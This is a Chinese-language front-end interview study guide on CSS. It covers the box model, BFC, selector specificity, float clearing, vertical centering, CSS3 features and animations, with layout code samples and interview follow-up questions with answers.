# 1 CSS

# 盒模型

⚡ 30 秒速记

  • 先区分两种计算口径:content-box 的 width 只管内容,border-box 的 width 包含内边距和边框
  • 元素占位还要再加 margin,不要把“盒子宽度”和“布局占位宽度”混为一谈
  • 工程里常用全局 box-sizing: border-box,组件尺寸更容易预测

盒模型由内容、内边距、边框和外边距组成,关键区别是 width、height 到底包含哪些部分。 默认的 content-box 只把声明尺寸算作内容区,元素实际占位还要加上 padding、border 和 margin。border-box 会把内边距和边框纳入声明尺寸,但外边距仍需另外计算。工程里我一般会统一设置 box-sizing: border-box,这样固定宽度组件加内边距后不容易意外撑大。

  • 有两种, IE盒子模型、W3C盒子模型;
  • 盒模型: 内容(content)、填充(padding)、边界(margin)、 边框(border);
  • 区 别: IE的content部分把 border 和 padding计算了进去;

标准盒子模型的模型图

从上图可以看到:

  • 盒子总宽度 = width + padding + border + margin;
  • 盒子总高度 = height + padding + border + margin

也就是,width/height 只是内容高度,不包含 padding 和 border 值

IE 怪异盒子模型

从上图可以看到:

  • 盒子总宽度 = width + margin;
  • 盒子总高度 = height + margin;

也就是,width/height 包含了 padding 和 border值

页面渲染时,dom 元素所采用的 布局模型。可通过box-sizing进行设置

通过 box-sizing 来改变元素的盒模型

CSS 中的 box-sizing 属性定义了引擎应该如何计算一个元素的总宽度和总高度

  • box-sizing: content-box; 默认的标准(W3C)盒模型元素效果,元素的 width/height 不包含padding,border,与标准盒子模型表现一致
  • box-sizing: border-box; 触发怪异(IE)盒模型元素的效果,元素的 width/height 包含 padding,border,与怪异盒子模型表现一致
  • box-sizing: inherit; 继承父元素 box-sizing 属性的值

小结

  • 盒子模型构成:内容(content)、内填充(padding)、 边框(border)、外边距(margin)
  • IE8及其以下版本浏览器,未声明 DOCTYPE,内容宽高会包含内填充和边框,称为怪异盒模型(IE盒模型)
  • 标准(W3C)盒模型:元素宽度 = width + padding + border + margin
  • 怪异(IE)盒模型:元素宽度 = width + margin
  • 标准浏览器通过设置 css3 的 box-sizing: border-box 属性,触发“怪异模式”解析计算宽高

💬 面试官追问

  • 商品卡片写了 width: 300px; padding: 20px; border: 1px solid,列表一行只能容纳三张而不是设计稿中的四张,你怎么解释实际占宽?

    默认 content-box 下,300px 只表示内容宽度,单张卡片自身还要加左右 padding 和 border,外部排布还可能受 margin 影响。应先在开发者工具中分项核对盒模型;直接压缩 width 虽能暂时对齐,但内容或边框变化后仍可能再次溢出。

  • 组件库要求所有表单控件声明的宽度就是最终边框宽度,但业务页面已经存在大量历史样式,你会怎样落地 box-sizing?

    控件应使用 box-sizing: border-box,让声明的 width 包含 padding 和 border,避免校验态边框或内边距扩大布局。落地前要检查历史规则是否按 content-box 计算过尺寸;全局切换会改变旧组件宽高,范围不清时应先限定在组件根节点内。

  • 同一个输入框从 padding: 8px 改成 padding: 16px:产品要求外框宽度不变,另一处又要求内容区宽度不变,两处分别该选什么盒模型?

    外框宽度必须稳定时选 border-box,增加 padding 会压缩内容区;内容区宽度必须稳定时保留 content-box,外框会随 padding 和 border 增大。两种约束不能只靠同一个固定 width 同时满足,必须明确设计尺寸指的是内容盒还是边框盒。

  • 线上弹窗只在错误态横向抖动,代码只是把输入框边框从 1px 改成 2px,你会按什么顺序定位?

    先查看错误态前后的计算样式和盒模型,确认控件是否仍是 content-box,以及父容器是否存在固定宽度或溢出限制。若边框增长导致总宽度变化,可改为 border-box 或预留同宽透明边框;但切换盒模型可能压缩内容区,仍需验证长文本。

  • 团队有人主张全局 * { box-sizing: border-box; },有人坚持只给问题组件设置,你会怎样做取舍?

    新项目或尺寸约定统一时,全局 border-box 更容易让组件外框尺寸可预测;历史页面中,局部设置更能控制影响范围。若需要子组件保持一致,可结合继承策略,但必须回归依赖默认 content-box 的旧布局,不能把全局规则当成无成本修复。

# BFC

⚡ 30 秒速记

  • BFC 是独立的块级布局上下文,内部布局不会随意影响外部
  • 常见触发方式有 display: flow-root、overflow 非 visible、浮动、绝对定位以及 flex / grid 容器
  • 高频用途:包含浮动、隔离外边距折叠、实现文字环绕或两栏布局
  • 加分点:现代代码优先用语义更明确的 display: flow-root,别为了触发 BFC 顺手裁掉溢出内容

BFC 是一个独立的块级格式化上下文,内部元素的布局通常不会影响外部。 它可由浮动、绝对定位、inline-block、flex、grid,以及 overflow 不为 visible 等方式触发。因为计算 BFC 高度时会包含浮动子元素,所以常用来解决父元素高度塌陷;它也不会与外部浮动区域重叠,可实现自适应两栏布局。处理外边距折叠时,要让相邻盒子处于不同的 BFC 中。

块级格式化上下文,是一个独立的渲染区域,让处于 BFC 内部的元素与外部的元素相互隔离,使内外元素的定位不会相互影响。

IE下为 Layout,可通过 zoom:1 触发

触发条件:

  • 根元素,即HTML元素
  • 绝对定位元素 position: absolute/fixed
  • 行内块元素 display的值为inline-block、table、flex、inline-flex、grid、inline-grid
  • 浮动元素:float值为left、right
  • overflow值不为 visible,为 auto、scroll、hidden

规则:

  1. 属于同一个 BFC 的两个相邻 Box 垂直排列
  2. 属于同一个 BFC 的两个相邻 Box 的 margin 会发生重叠
  3. BFC 中子元素的 margin box 的左边, 与包含块 (BFC) border box的左边相接触 (子元素 absolute 除外)

在CSS中,BFC代表"块级格式化上下文"(Block Formatting Context),是一个用于布局元素的概念。一个元素形成了BFC之后,会根据BFC的规则来进行布局和定位。在理解BFC中子元素的margin box与包含块(BFC)的border box相接触的概念时,可以考虑以下要点:

  • 外边距折叠(Margin Collapsing): 在正常情况下,块级元素的外边距会折叠,即相邻元素的外边距会取两者之间的最大值,而不是简单相加。但是,当一个元素形成了BFC时,它的外边距不会和其内部的子元素的外边距折叠。
  • 相邻边界情况: BFC中子元素的margin box的左边会与包含块的border box的左边相接触,这意味着子元素的外边距不会穿过包含块的边界,从而保证布局的合理性。

下面是一个示例代码,帮助你更好地理解这个概念:

<!DOCTYPE html>
<html>
<head>
  <link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
  <div class="container">
    <div class="child">Child Element</div>
  </div>
</body>
</html>

CSS (styles.css):

.container {
  border: 2px solid black; /* 包含块的边框 */
  overflow: hidden; /* 创建 BFC */
}

.child {
  margin: 20px; /* 子元素的外边距 */
  padding: 10px; /* 子元素的内边距 */
  background-color: lightgray;
}

在这个示例中,.container元素创建了一个BFC(通过设置overflow: hidden;),而.child是.container的子元素。由于.child的外边距和内边距,我们可以看到以下效果:

  • .child元素的margin box的外边界会与.container的border box的左边界相接触,这意味着.child的外边距不会超出.container的边界。
  • 由于.container创建了BFC,.child的外边距不会与.container的外边距折叠。

通过这个示例,你可以更好地理解BFC中子元素的margin box与包含块的border box之间的关系,以及BFC对布局的影响。

  1. BFC 的区域不会与 float 的元素区域重叠
  2. 计算 BFC 的高度时,浮动子元素也参与计算
  3. 文字层不会被浮动层覆盖,环绕于周围

应用:

  • 利用2:阻止margin重叠
  • 利用4:自适应两栏布局
  • 利用 5 ,可以避免高度塌陷
  • 可以包含浮动元素 —— 清除内部浮动(清除浮动的原理是两个div都位于同一个 BFC 区域之中)

示例

1. 防止margin重叠(塌陷)

<style>
    p {
      color: #f55;
      background: #fcc;
      width: 200px;
      line-height: 100px;
      text-align:center;
      margin: 100px;
    }
</style>
<body>
  <p>Haha</p >
  <p>Hehe</p >
</body>

  • 两个p元素之间的距离为100px,发生了margin重叠(塌陷),以最大的为准,如果第一个P的margin为80的话,两个P之间的距离还是100,以最大的为准。
  • 同一个BFC的俩个相邻的盒子的margin会发生重叠
  • 可以在p外面包裹一层容器,并触发这个容器生成一个BFC,那么两个p就不属于同一个BFC,则不会出现margin重叠
<style>
    .wrap {
        overflow: hidden;// 新的BFC
    }
    p {
        color: #f55;
        background: #fcc;
        width: 200px;
        line-height: 100px;
        text-align:center;
        margin: 100px;
    }
</style>
<body>
    <p>Haha</p >
    <div class="wrap">
        <p>Hehe</p >
    </div>
</body>

这时候,边距则不会重叠:

2. 清除内部浮动

<style>
    .par {
        border: 5px solid #fcc;
        width: 300px;
    }
 
    .child {
        border: 5px solid #f66;
        width:100px;
        height: 100px;
        float: left;
    }
</style>
<body>
    <div class="par">
      <div class="child"></div>
      <div class="child"></div>
    </div>
</body>

而BFC在计算高度时,浮动元素也会参与,所以我们可以触发.par元素生成BFC,则内部浮动元素计算高度时候也会计算

.par {
    overflow: hidden;
}

3. 自适应多栏布局

这里举个两栏的布局

<style>
    body {
        width: 300px;
        position: relative;
    }
 
    .aside {
        width: 100px;
        height: 150px;
        float: left;
        background: #f66;
    }
 
    .main {
        height: 200px;
        background: #fcc;
    }
</style>
<body>
    <div class="aside"></div>
    <div class="main"></div>
</body>

  • 每个元素的左外边距与包含块的左边界相接触
  • 因此,虽然.aslide为浮动元素,但是main的左边依然会与包含块的左边相接触,而BFC的区域不会与浮动盒子重叠
  • 所以我们可以通过触发main生成BFC,以此适应两栏布局
.main {
  overflow: hidden;
}

这时候,新的BFC不会与浮动的.aside元素重叠。因此会根据包含块的宽度,和.aside的宽度,自动变窄

💬 面试官追问

  • 文章页两个相邻段落都写了 margin: 24px 0,产品却发现间距只有 24px 而不是 48px,你如何判断是不是 BFC 相关现象?

    两个块处于同一 BFC 且垂直相邻时,垂直外边距会发生折叠,间距通常不会按两份简单相加。应在开发者工具中检查父级边界和格式化上下文;若设计明确要求累加,可调整间距归属或用新的 BFC 隔离,但新增上下文会改变其他布局关系。

  • 资讯列表的父容器只有浮动缩略图和浮动正文,背景与边框高度塌成零,你会怎样用 BFC 修复?

    让父容器建立 BFC 后,计算其高度时会包含内部浮动元素,因此背景和边框能够包住内容。可按现有约束选择 overflow: hidden、auto 等触发方式;其中 hidden 可能裁剪阴影或溢出内容,不能只为清浮动而忽略副作用。

  • 旧版两栏页面用 float 固定左侧导航,主内容长度和宽度都不确定,要求主栏不钻到导航下面,你会怎么处理?

    可让主栏形成新的 BFC,利用其区域不与浮动元素区域重叠,使主栏占用剩余宽度。常见做法是给主栏设置非 visible 的 overflow;若页面还需要展示越界浮层或阴影,该触发方式会产生冲突,应改选副作用更小的布局方案。

  • 线上卡片加了 overflow: hidden 后高度塌陷消失,但下拉菜单和阴影被截断,你会如何定位并调整?

    先确认 overflow: hidden 原本只是为了建立 BFC,再检查被裁剪元素是否必须越过卡片边界。若必须保留溢出展示,就不应继续依赖该属性,可改用其他能建立独立格式化上下文的方式或调整浮动结构;替换后还要复测外边距折叠和浮动包含效果。

  • 评审中有人建议用 position: absolute,另一人建议用 overflow: auto 建立 BFC,只是为了隔离一组普通内容,你会选哪个?

    两者都可能形成独立格式化上下文,但绝对定位会让元素脱离常规文档流,通常会带来更大的定位和占位成本。overflow: auto 保留常规布局,却可能出现滚动或裁剪相关行为;应按页面是否需要正常占位及溢出展示来选,而不是只看能否触发 BFC。

# 选择器权重计算方式

⚡ 30 秒速记

  • 优先比较来源和重要性:!important、内联样式、作者样式,不能只算选择器数字
  • 同一层内按 ID、类/属性/伪类、元素/伪元素三列逐列比较,不是简单十进制相加
  • 权重相同才看源码中谁更靠后;继承样式的优先级低于直接命中
  • :where() 权重恒为零,:is() / :not() 取参数中最高权重

选择器冲突时,先比较样式优先级,再比较选择器权重,权重相同才由后写的覆盖先写的。 !important 的优先级最高,其次要关注内联样式;普通规则中,ID 高于类、属性和伪类,而它们又高于元素和伪元素。通配符、继承样式的优先级更低,不能只靠书写顺序覆盖更高权重的规则。选择器匹配通常从右往左解析,以便尽早过滤不符合条件的元素。

!important > 内联样式 = 外联样式 > ID选择器 > 类选择器 = 伪类选择器 = 属性选择器 > 元素选择器 = 伪元素选择器 > 通配选择器 = 后代选择器 = 兄弟选择器

  1. 属性后面加!important会覆盖页面内任何位置定义的元素样式
  2. 作为style属性写在元素内的样式
  3. id选择器
  4. 类选择器
  5. 标签选择器
  6. 通配符选择器(*)
  7. 浏览器自定义或继承

同一级别:后写的会覆盖先写的

css选择器的解析原则:选择器定位DOM元素是从右往左的方向,这样可以尽早的过滤掉一些不必要的样式规则和元素

💬 面试官追问

  • 订单页的 .dialog .btn 写在组件样式里,业务方后来加了 #checkout .btn,即使组件规则加载得更晚仍未生效,你怎么解释?

    应先比较选择器权重,ID 选择器的优先级高于类选择器,不能只凭加载顺序判断覆盖结果。只有权重处于同一级别时,后写规则才覆盖先写规则;修复时应减少业务选择器耦合或提供明确扩展点,继续叠加权重会让后续维护更困难。

  • 主题系统需要覆盖几十个按钮状态,但旧代码到处使用内联 style,有人提议统一加 !important,你会怎么处理?

    内联样式本身优先级很高,!important 虽能强制覆盖大量普通声明,却会进一步压缩后续覆盖空间。应优先移除不必要的内联值并统一主题入口,只在确有强制约束时有限使用 !important;否则状态、主题和业务样式很容易形成新的冲突。

  • 表格有上千个单元格,规则写成 .page .panel table tbody tr td[data-state='error'],评审建议改成单一状态类,你会依据什么判断?

    浏览器匹配选择器时会从右向左定位元素,右侧条件会先参与过滤,因此应让关键目标足够明确,并避免无意义的长祖先链。改为专用状态类还能降低权重和结构耦合;但类名必须准确挂到目标元素,否则缩短选择器会扩大误匹配范围。

  • 线上只有悬停态颜色不对,开发者工具显示声明未被删除却被划线,你会怎样排查层叠冲突?

    先查看最终命中的规则来源,逐项比较 !important、内联样式、ID、类或伪类、元素选择器的优先级,再检查同级规则的书写顺序。不要一上来追加 !important;还需确认属性是否来自继承或浏览器默认样式,否则可能修掉表象却保留冲突根因。

  • 组件作者想用 ID 保证样式稳定,业务作者希望用普通类覆盖,你会如何制定选择器约束?

    可复用组件不宜依赖高权重 ID 锁死样式,普通类更适合提供可预测的覆盖层级,状态则用类、伪类或属性选择器表达。若必须支持业务定制,应约定同级规则的加载顺序或暴露修饰类;代价是组件不能再依靠不断提高权重来防止误覆盖。

# 清除浮动

⚡ 30 秒速记

  • 浮动元素脱离普通流后,父元素可能无法被内容撑高;所谓清除浮动,主要是恢复父容器高度和后续布局
  • 现代写法优先给父容器 display: flow-root,语义直接且不会裁剪溢出内容
  • 兼容旧项目可用伪元素 clearfix;overflow: hidden 虽能建立 BFC,但可能误裁剪阴影和弹层

清除浮动本质上是让父元素重新包含浮动子元素,避免父容器高度塌陷并影响后续布局。 可以在浮动元素后添加带 clear: both 的空元素,也可以给父元素设置 overflow: hidden 或 auto,通过触发 BFC 包含浮动内容。我一般更倾向使用 clearfix 伪元素,因为它不用额外增加无语义的 div,文档结构更清晰。旧版 IE 场景还可能配合 zoom: 1。

  1. 在浮动元素后面添加 clear:both 的空 div 元素
<div class="container">
    <div class="left"></div>
    <div class="right"></div>
    <div style="clear:both"></div>
</div>
  1. 给父元素添加 overflow:hidden 或者 auto 样式,触发BFC
<div class="container">
    <div class="left"></div>
    <div class="right"></div>
</div>
.container{
    width: 300px;
    background-color: #aaa;
    overflow:hidden;
    zoom:1;   /*IE6*/
}
  1. 使用伪元素,也是在元素末尾添加一个点并带有 clear: both 属性的元素实现的。
<div class="container clearfix">
    <div class="left"></div>
    <div class="right"></div>
</div>
.clearfix{
    zoom: 1; /*IE6*/
}
.clearfix:after{
    content: ".";
    height: 0;
    clear: both;
    display: block;
    visibility: hidden;
}

推荐使用第三种方法,不会在页面新增div,文档结构更加清晰

💬 面试官追问

  • 图片列表的所有子项都设置了 float: left,父容器背景没有高度;同事在父元素上写 clear: both,为什么现象可能仍不符合预期?

    clear 用于约束元素自身与前方浮动的关系,直接写在承载浮动子项的父元素上,并不等同于在浮动内容末尾清除影响。可在末尾加入带 clear: both 的元素,或让父级形成 BFC;前者会增加结构节点,后者可能带来溢出副作用。

  • 旧活动页有上百个浮动卡片容器,不能逐个增加空 div,你会怎样设计可复用的清浮动规则?

    给这些父容器统一添加 clearfix 类,并通过 ::after 生成块级伪元素,再设置 clear: both,可在不增加真实节点的情况下让父容器包住浮动内容。需要确认伪元素没有被其他规则覆盖;共享工具类也会形成样式依赖,命名和作用范围要稳定。

  • 卡片父容器原本用 overflow: hidden 清浮动,现在产品要求角标和阴影越过边界展示,你会换成哪类方案?

    此时不应继续依赖 overflow: hidden,因为它可能裁剪角标和阴影,可改用 clearfix::after 在内容末尾清除浮动。这样保留溢出展示,也无需添加空标签;但若伪元素位置还承担其他装饰用途,需要避免规则冲突。

  • 线上某个父容器偶发高度塌陷,代码里已经有 .clearfix::after,你会检查哪些关键声明?

    先确认 clearfix 类确实挂在浮动子元素的直接容器上,再检查伪元素是否生成了 content、是否为块级显示,以及 clear: both 是否被覆盖。还要核对子项是否真的使用 float;若问题来自绝对定位或固定高度,清浮动规则不会解决根因。

  • 评审要在空节点、父级 overflow 和 clearfix 三种方案中选一个作为旧站默认规范,你会怎么定?

    默认更适合采用 clearfix,它不增加无语义的空 div,也不会像 overflow: hidden 那样天然承担裁剪风险。父级本就需要滚动或裁剪时可利用 overflow 建立 BFC;空节点实现直观但污染结构,通常只适合受限的遗留代码。

# 垂直居中的方案

⚡ 30 秒速记

  • 已知尺寸可用绝对定位配负 margin,未知尺寸用 transform: translate(-50%, -50%)
  • 一维布局优先 flex,二维布局可用 grid 的 place-items: center
  • 文本单行居中才适合 line-height,不要拿它处理多行内容
  • 选型要补一句:看是否已知尺寸、是否脱离文档流、是否需要兼容旧浏览器

垂直居中要根据元素尺寸是否确定来选:未知宽高优先用 flex、grid 或绝对定位配合 transform,已知宽高还可使用负 margin。 flex 中设置 align-items: center 和 justify-content: center 最直接,grid 也能完成同样的居中效果。绝对定位方案会脱离普通文档流,更适合弹层等明确定位的场景。单行文本可让 line-height 等于容器高度,多行内容则更适合 table-cell 配合 vertical-align: middle。

  1. 利用绝对定位+transform,设置 left: 50% 和 top: 50% 现将子元素左上角移到父元素中心位置,然后再通过 translate 来调整子元素的中心点到父元素的中心。该方法可以不定宽高
.father {
  position: relative;
}
.son {
  position: absolute;
  left: 50%;
  top: 50%;
  transform: translate(-50%, -50%);
}
  1. 利用绝对定位+margin:auto,子元素所有方向都为 0 ,将 margin 设置为 auto ,由于宽高固定,对应方向实现平分,该方法必须盒子有宽高
.father {
  position: relative;
}
.son {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0px;
  margin: auto;
  height: 100px;
  width: 100px;
}
  1. 利用绝对定位+margin:负值,设置 left: 50% 和 top: 50% 现将子元素左上角移到父元素中心位置,然后再通过 margin-left 和 margin-top 以子元素自己的一半宽高进行负值赋值。该方法必须定宽高
.father {
  position: relative;
}
.son {
  position: absolute;
  left: 50%;
  top: 50%;
  width: 200px;
  height: 200px;
  margin-left: -100px;
  margin-top: -100px;
}
  1. 利用 flex ,最经典最方便的一种了,不用解释,定不定宽高无所谓
<style>
    .father {
        display: flex;
        justify-content: center;
        align-items: center;
        width: 200px;
        height: 200px;
        background: skyblue;
    }
    .son {
        width: 100px;
        height: 100px;
        background: red;
    }
</style>
<div class="father">
    <div class="son"></div>
</div>
  1. grid网格布局
<style>
.father {
  display: grid;
  align-items:center;
  justify-content: center;
  width: 200px;
  height: 200px;
  background: skyblue;

}
.son {
  width: 10px;
  height: 10px;
  border: 1px solid red
}
</style>
<div class="father">
  <div class="son"></div>
</div>
  1. table布局

设置父元素为display:table-cell,子元素设置 display: inline-block。利用vertical和text-align可以让所有的行内块级元素水平垂直居中

<style>
    .father {
        display: table-cell;
        width: 200px;
        height: 200px;
        background: skyblue;
        vertical-align: middle;
        text-align: center;
    }
    .son {
        display: inline-block;
        width: 100px;
        height: 100px;
        background: red;
    }
</style>
<div class="father">
    <div class="son"></div>
</div>

小结

不知道元素宽高大小仍能实现水平垂直居中的方法有:

  • 利用绝对定位+transform
  • flex布局
  • grid布局

根据元素标签的性质,可以分为:

  • 内联元素居中布局
  • 块级元素居中布局

内联元素居中布局

  • 水平居中
    • 行内元素可设置:text-align: center
    • flex布局设置父元素:display: flex; justify-content: center
  • 垂直居中
    • 单行文本父元素确认高度:height === line-height
    • 多行文本父元素确认高度:display: table-cell; vertical-align: middle

块级元素居中布局

  • 水平居中
    • 定宽: margin: 0 auto
    • 绝对定位+left:50%+margin:负自身一半
  • 垂直居中
    • position: absolute设置left、top、margin-left、margin-top(定高)
    • display: table-cell
    • transform: translate(x, y)
    • flex(不定高,不定宽)
    • grid(不定高,不定宽),兼容性相对比较差

💬 面试官追问

  • 登录弹窗中的文案由接口返回,高度可能从一行变成五行;同事用固定负 margin-top 居中,你为什么会否掉?

    负外边距方案依赖已知且固定的元素高度,内容增长后偏移量不再等于自身高度的一半,居中就会失效。可改用绝对定位配合 transform: translate(-50%, -50%),或由父级使用 flex、grid;若内容可能超过弹窗高度,还要另行处理滚动。

  • 播放器中央按钮必须覆盖在视频上方,按钮尺寸会随皮肤变化,又不能占据文档流位置,你会选哪种居中实现?

    父容器设为相对定位,按钮绝对定位到 left: 50%、top: 50%,再用 transform: translate(-50%, -50%) 回移自身的一半,可适配未知尺寸。该方案符合覆盖层需求,但元素脱离常规流,父容器尺寸必须由视频或其他内容明确撑起。

  • 固定尺寸的加载面板已经使用绝对定位,子图标宽高都是 100px,代码规范不希望引入 transform,你会怎样居中?

    可把子元素的 top、right、bottom、left 都设为 0,并使用 margin: auto,在固定宽高条件下让剩余空间平分。它依赖明确的子元素尺寸和定位包含块;图标改成内容自适应后,这套约束就需要重新评估。

  • 线上表格单元格中的状态标签看似没有垂直居中,开发者误把 vertical-align: middle 加到普通块元素上,你会如何排查?

    先确认父子元素的显示类型,因为 vertical-align 适用于表格单元格或相应的行内布局语境,并不会让任意普通块元素自动居中。若采用 display: table-cell,子项可用 inline-block 配合 vertical-align;现代布局下也可改用 flex,但会改变子项排列规则。

  • 新组件在 flex、grid 和绝对定位三种居中方案间争论,容器内未来可能增加徽标和辅助操作,你会怎么选?

    若多个子项需要共同参与排布,优先让父容器用 flex 或 grid 处理水平、垂直对齐,元素无需固定宽高且仍保留在文档流中。只有主体必须覆盖在容器中心时才更适合绝对定位;flex 与 grid 的选择还取决于是一维排列还是网格关系。

# CSS3的新特性

⚡ 30 秒速记

  • 布局能力:Flexbox、Grid、多列布局,以及更完善的 box-sizing
  • 视觉能力:圆角、阴影、渐变、透明色、滤镜和自定义字体
  • 动效能力:transform、transition、animation
  • 工程能力:媒体查询、CSS 变量、计算函数;严格说 CSS 已按模块演进,不再用“CSS3”统一版本号

CSS3 增强了选择器、视觉样式、变换动画和响应式布局,同时向后兼容 CSS1、CSS2。 样式层面常用 border-radius、阴影、渐变和新的背景控制能力,可以减少图片素材的依赖。交互效果通常由 transition、transform 和 animation 配合完成,分别负责过渡、变形和关键帧动画。布局和适配场景则会用 Flex、Grid 与媒体查询,按屏幕条件调整页面。

1. 是什么

css,即层叠样式表(Cascading Style Sheets)的简称,是一种标记语言,由浏览器解释执行用来使页面变得更美观

css3是css的最新标准,是向后兼容的,CSS1/2的特性在 CSS3 里都是可以使用的

而 CSS3 也增加了很多新特性,为开发带来了更佳的开发体验

2. 选择器

css3中新增了一些选择器,主要为如下图所示:

3. 新样式

  • 边框 css3新增了三个边框属性,分别是:
    • border-radius:创建圆角边框
    • box-shadow:为元素添加阴影
    • border-image:使用图片来绘制边框
  • box-shadow 设置元素阴影,设置属性如下(其中水平阴影和垂直阴影是必须设置的)
    • 水平阴影
    • 垂直阴影
    • 模糊距离(虚实)
    • 阴影尺寸(影子大小)
    • 阴影颜色
    • 内/外阴影
  • 背景 新增了几个关于背景的属性,分别是background-clip、background-origin、background-size和background-break
    • background-clip 用于确定背景画区,有以下几种可能的属性:通常情况,背景都是覆盖整个元素的,利用这个属性可以设定背景颜色或图片的覆盖范围
      • background-clip: border-box; 背景从border开始显示
      • background-clip: padding-box; 背景从padding开始显示
      • background-clip: content-box; 背景显content区域开始显示
      • background-clip: no-clip; 默认属性,等同于border-box
    • background-origin 当我们设置背景图片时,图片是会以左上角对齐,但是是以border的左上角对齐还是以padding的左上角或者content的左上角对齐? border-origin正是用来设置这个的
      • background-origin: border-box; 从border开始计算background-position
      • background-origin: padding-box; 从padding开始计算background-position
      • background-origin: content-box; 从content开始计算background-position
      • 默认情况是padding-box,即以padding的左上角为原点
    • background-size 常用来调整背景图片的大小,主要用于设定图片本身。有以下可能的属性:
      • background-size: contain; 缩小图片以适合元素(维持像素长宽比)
      • background-size: cover; 扩展元素以填补元素(维持像素长宽比)
      • background-size: 100px 100px; 缩小图片至指定的大小
      • background-size: 50% 100%; 缩小图片至指定的大小,百分比是相对包 含元素的尺寸
    • background-break 元素可以被分成几个独立的盒子(如使内联元素span跨越多行),background-break 属性用来控制背景怎样在这些不同的盒子中显示
      • background-break: continuous; 默认值。忽略盒之间的距离(也就是像元素没有分成多个盒子,依然是一个整体一样)
      • background-break: bounding-box; 把盒之间的距离计算在内;
      • background-break: each-box; 为每个盒子单独重绘背景
  • 文字
    • word-wrap: normal|break-word
      • normal:使用浏览器默认的换行
      • break-all:允许在单词内换行
    • text-overflow 设置或检索当当前行超过指定容器的边界时如何显示,属性有两个值选择
      • clip:修剪文本
      • ellipsis:显示省略符号来代表被修剪的文本
    • text-shadow 可向文本应用阴影。能够规定水平阴影、垂直阴影、模糊距离,以及阴影的颜色
    • text-decoration CSS3里面开始支持对文字的更深层次的渲染,具体有三个属性可供设置:
      • text-fill-color: 设置文字内部填充颜色
      • text-stroke-color: 设置文字边界填充颜色
      • text-stroke-width: 设置文字边界宽度
  • 颜色
    • css3新增了新的颜色表示方式rgba与hsla
    • rgba分为两部分,rgb为颜色值,a为透明度
    • hala分为四部分,h为色相,s为饱和度,l为亮度,a为透明度

4. transition 过渡

transition属性可以被指定为一个或多个CSS属性的过渡效果,多个属性之间用逗号进行分隔,必须规定两项内容:

  • 过度效果
  • 持续时间
transition: CSS属性,花费时间,效果曲线(默认ease),延迟时间(默认0)

上面为简写模式,也可以分开写各个属性

transition-property: width; 
transition-duration: 1s;
transition-timing-function: linear;
transition-delay: 2s;

5. transform 转换

  • transform属性允许你旋转,缩放,倾斜或平移给定元素
  • transform-origin:转换元素的位置(围绕那个点进行转换),默认值为(x,y,z):(50%,50%,0)

使用方式:

  • transform: translate(120px, 50%):位移
  • transform: scale(2, 0.5):缩放
  • transform: rotate(0.5turn):旋转
  • transform: skew(30deg, 20deg):倾斜

6. animation 动画

动画这个平常用的也很多,主要是做一个预设的动画。和一些页面交互的动画效果,结果和过渡应该一样,让页面不会那么生硬

animation也有很多的属性

  • animation-name:动画名称
  • animation-duration:动画持续时间
  • animation-timing-function:动画时间函数
  • animation-delay:动画延迟时间
  • animation-iteration-count:动画执行次数,可以设置为一个整数,也可以设置为infinite,意思是无限循环
  • animation-direction:动画执行方向
  • animation-paly-state:动画播放状态
  • animation-fill-mode:动画填充模式

7. 渐变

颜色渐变是指在两个颜色之间平稳的过渡,css3渐变包括

  • linear-gradient:线性渐变 background-image: linear-gradient(direction, color-stop1, color-stop2, ...);
  • radial-gradient:径向渐变 linear-gradient(0deg, red, green)

8. 其他

  • Flex弹性布局
  • Grid栅格布局
  • 媒体查询 @media screen and (max-width: 960px) {}还有打印print

transition和animation的区别

Animation和transition大部分属性是相同的,他们都是随时间改变元素的属性值,他们的主要区别是transition需要触发一个事件才能改变属性,而animation不需要触发任何事件的情况下才会随时间改变属性值,并且transition为2帧,从from .... to,而animation可以一帧一帧的

💬 面试官追问

  • 商品卡片用 border-radius、box-shadow 后已经有圆角和阴影,产品又要求把整张卡片设为半透明;如果直接给容器写 opacity: .6,为什么文字和图片也一起变淡,应该怎样改?

    opacity 作用于整个元素及其内容,不适合只降低背景透明度。应把背景色改为 rgba() 或 hsla(),让透明度仅属于颜色;若背景是图片,可增加独立伪元素承载并控制透明度,但要处理好层叠顺序。

  • 营销页头图需要铺满横幅且不能拉伸变形,桌面端和移动端容器比例不同;你会怎样用 CSS3 背景属性实现,并解释 cover 与 contain 的取舍?

    可设置 background-size: cover,让图片保持宽高比并填满容器,同时用 background-position 调整视觉焦点。cover 可能裁掉边缘内容;若必须完整展示则改用 contain,代价是容器中可能出现留白。

  • 一个标签组件可能是一行,也可能因长文本跨成三行,设计要求每行标签都像独立胶囊一样绘制背景;仅设置 background-clip 为什么未必够,你会关注什么?

    background-clip 只决定背景绘制到边框、内边距还是内容区域,不能单独决定跨行盒片段如何重绘。此场景还要关注元素分片后的背景处理能力,并用真实多行文本验证;相关属性存在兼容性风险时,应改用可控的独立元素包装每行。

  • 按钮悬停后要从蓝色平滑变绿,同时右移 20px;线上却是颜色有动画、位移瞬间完成,你会从哪些声明开始排查?

    先检查 transition-property 是否只列了颜色而漏掉 transform,再核对持续时间是否仍为默认的 0s。位移应写入 transform: translate(...),并确保触发前后都有可插值的属性值;若目标属性本身不能过渡,补时长也不会生效。

  • 轮播提示只在状态变化时淡入一次,加载图标则要持续旋转;你会分别选 transition 还是 animation,为什么?

    状态提示适合用 transition,由类名或交互触发两个状态之间的渐变。加载图标适合用 animation 配合 @keyframes、linear 和 infinite 自主循环;持续动画更灵活,但停止条件和播放状态需要显式管理。

  • 后台页面要同时解决两栏伸缩、窄屏重排和卡片内部对齐,你会怎样划分 Flex、Grid 与媒体查询的职责,而不是只选一个技术?

    卡片内部的一维对齐可用 Flex,页面多行多列关系更适合用 Grid,媒体查询负责在视口约束变化时切换结构规则。三者解决的维度不同,并不互斥;断点仍需依据内容是否拥挤设定,不能只照搬设备宽度。

# CSS动画和过渡

⚡ 30 秒速记

  • transition 描述属性从旧值到新值的过渡,必须有状态变化触发,适合简单交互
  • animation 配合 @keyframes 定义多关键帧,可循环、暂停、反向和独立播放
  • 性能优先考虑 transform 与 opacity,避免高频改变会触发布局的属性
  • 尊重 prefers-reduced-motion,给减少动态效果的用户提供降级

transition 适合由状态变化触发的简单过渡,animation 配合 @keyframes 更适合多阶段或自动播放的动画。 transition 需要指定变化属性、持续时间、速度曲线和延迟,但并非所有属性都能过渡,例如 display 的切换就不行。animation 可以控制次数、方向、填充模式以及播放或暂停,并用百分比定义多个关键帧。平移、旋转和缩放本质上由 transform 完成,它通常再与前两者配合产生连续效果。

